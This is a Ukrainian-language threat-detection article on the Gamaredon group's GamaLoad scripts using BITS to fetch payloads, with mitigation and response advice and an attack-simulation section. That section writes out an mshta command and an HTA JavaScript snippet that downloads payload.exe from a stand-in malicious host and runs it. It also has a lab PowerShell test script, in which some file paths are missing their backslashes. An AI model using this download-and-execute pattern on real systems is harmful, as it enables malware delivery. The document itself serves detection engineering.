Gamaredon: Зловживання BITS для доставки шкідливого ПЗ у стилі «Оновлення Windows»
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Gamaredon оновив свої скрипти доставки GamaLoad, щоб отримувати навантаження за допомогою утиліти Windows Background Intelligent Transfer Service (BITS), зменшуючи залежність від раніше фільтрованих LOLBins, таких як mshta.exe. Переходячи до передачі на основі BITS, актори можуть змішувати завантаження з «нормальною» активністю в стилі оновлення Windows та підвищувати надійність у замкнених чи проксі-обмежених середовищах, де традиційні скриптові ловери завантажень більш імовірно блокуються або позначаються.
Розслідування
Опис пояснює, що оновлена логіка GamaLoad вводить другий резервний шлях, який викликає bitsadmin, коли попередні методи завантаження зазнають невдачі. Загальний потік залишається послідовним: RAR-вкладення, надіслане фішингом, розпаковується і розміщується у папці Автозапуску HTA-файл, щоб встановити стійкість та розпочати виконання. Ключова зміна полягає у полуденні завантаження — тепер для витягнення вмісту використовується BITS, допомагаючи ланцюгу обходити режими керування, налаштовані на поведінку завантаження mshta/XMLHTTP.
Пом’якшення
Зміцніть кінцеві точки політиками управління додатками, які обмежують або кондиціонують виконання bitsadmin і обмежують, хто може створювати робочі завдання BITS. Спостерігайте за підозрілим створенням робочих завдань BITS та незвичайним найменуванням завдань, їх власниками або призначенням. Забезпечте суворе управління виходами та фільтрацію URL, щоб запобігти підключенням до ненадійної або новообраної інфраструктури. Зберігайте існуючі керування, які блокують mshta.exe та скачки на основі XMLHTTP, але розширіть покриття включаючи зловживання BITS і пов’язані передачі телеметрії.
Відповідь
Попереджуйте про несподівані командні рядки bitsadmin — особливо ті, які запускаються з контекстів користувачів, ланцюгів виконання, що виникають з електронної пошти, або несистемних батьківських процесів. Корелюйте активність BITS з індикаторами фішингів (доставкою RAR/HTA, записами до папок Startup) і швидко ізолюєте постраждалі вузли. Зберігайте кінцеву точку і мережеву телеметрію для виявлення завантажених навантажень, видалення артефактів стійкості та огляду для додаткових систем, що показують аналогічні патерни робочих завдань BITS.
Потік атаки
Виконання симуляції
Передумова: Перевірка телеметрії та базового передпольотного тесту має пройти.
Мотивація: Цей розділ описує точне виконання методики противника (TTP), призначеної для виклику правила виявлення. Команди та наратив МАЮТЬ безпосередньо відбивати зазначені TTP та мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Оповідання атак & команди:
-
Розвідка та підготовка:
- Атакуючий розміщує шкідливий HTA-файл (
evil.hta) на скомпрометованому веб-сервері (http://malicious.example/evil.hta). - HTA містить JavaScript, який викликає
bitsadmin.exeдля завантаження пейлоаду другого ступеня (payload.exe) з того ж сервера, а потім виконання його.
- Атакуючий розміщує шкідливий HTA-файл (
-
Первинне виконання через mshta.exe:
-
Атакуючий надсилає коротку PowerShell-однострічку (наприклад, через фішинг), яка виконує:
mshta.exe "http://malicious.example/evil.hta" -
Це створює подію створення процесу для
mshta.exe.
-
-
Фонове завантаження з bitsadmin.exe (всередині HTA):
// Всередині evil.hta var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control"); bits.CreateJob("maliciousJob"); bits.AddFile("http://malicious.example/payload.exe", "%TEMP%payload.exe"); bits.Start(); bits.WaitUntilComplete(); var shell = new ActiveXObject("WScript.Shell"); shell.Run("%TEMP%payload.exe");- Це запускає
bitsadmin.exe(або об’єкт COM BITS, який збігається з тим же бінарним файлом), генеруючи подію створення процесу дляbitsadmin.exe.
- Це запускає
-
Виконання другого ступеня: Завантажений
payload.exeвиконується, завершуючи вторгнення.
-
-
Скрипт тестування регресивного коду: Скрипт нижче відтворює наведені вище кроки у контрольованому лабораторному середовищі, використовуючи локальний файл HTA.
# ------------------------------------------------- # Імітація доставки payload Gambaredon – регресивний скрипт # ------------------------------------------------- $tempDir = "$env:TEMPgamaredon_test" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # 1. Створити безпечний HTA, що імітує шкідливий (завантажує нешкідливий файл) $htaContent = @" <html> <head><title>Тест HTA</title></head> <script > var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control"); bits.CreateJob("testJob"); bits.AddFile("https://example.com/", "%TEMP%test_download.txt"); bits.Start(); bits.WaitUntilComplete(); var shell = new ActiveXObject("WScript.Shell"); // Немає виконання payload – лише заповнювач </script> </html> "@ $htaPath = Join-Path $tempDir "test.hta" Set-Content -Path $htaPath -Value $htaContent -Encoding ASCII # 2. Запуск mshta.exe з HTA (це запустить mshta.exe) Write-Host "[+] Запуск mshta.exe з тестовим HTA..." Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaPath`"" -NoNewWindow # 3. Зачекайте нетривалий час для запуску bitsadmin Start-Sleep -Seconds 5 # 4. Очищення Write-Host "[+] Очищення..." Remove-Item -Recurse -Force $tempDir -
Команди очищення:
# Зупинити всі працюючі bitsadmin завдання bitsadmin /reset /allusers # Видалити всі тестові файли, які можуть бути створені Remove-Item -Path "$env:TEMPtest_download.txt" -ErrorAction SilentlyContinue